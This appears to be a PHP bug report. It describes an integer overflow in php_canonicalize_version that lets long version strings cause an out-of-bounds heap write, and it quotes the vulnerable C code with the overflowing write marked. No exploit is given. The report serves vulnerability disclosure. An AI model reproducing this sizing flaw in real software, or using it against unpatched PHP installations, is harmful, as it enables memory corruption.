Description:
------------
When version1 or version2 parameter length need more than 32 bits to be stored, php_canonicalize_version function calls to safe_emalloc with size parameter casted to 32 bits. Then, write of bounds happens when version parameter is copied to buffer.

PHPAPI char *
php_canonicalize_version(const char *version)
{
    int len = strlen(version);
    char *buf = safe_emalloc(len, 2, 1), *q, lp, lq;
    const char *p;

    if (len == 0) {
        *buf = '\0';
        return buf;
    }

    p = version;
    q = buf;
    *q++ = lp = *p++;

    while (*p) {
/*  s/[-_+]/./g;
 *  s/([^\d\.])([^\D\.])/$1.$2/g;
 *  s/([^\D\.])([^\d\.])/$1.$2/g;
 */
#define isdig(x) (isdigit(x)&&(x)!='.')
#define isndig(x) (!isdigit(x)&&(x)!='.')
#define isspecialver(x) ((x)=='-'||(x)=='_'||(x)=='+')

		lq = *(q - 1);
		if (isspecialver(*p)) {
			if (lq != '.') {
				*q++ = '.';
			}
		} else if ((isndig(lp) && isdig(*p)) || (isdig(lp) && isndig(*p))) {
			if (lq != '.') {
				*q++ = '.';
			}
			*q++ = *p;
		} else if (!isalnum(*p)) {
			if (lq != '.') {
				*q++ = '.';
			}
		} else {
			*q++ = *p;   // write out of bounds
		}
		lp = *p++;
    }
    *q++ = '\0';
    return buf;
}
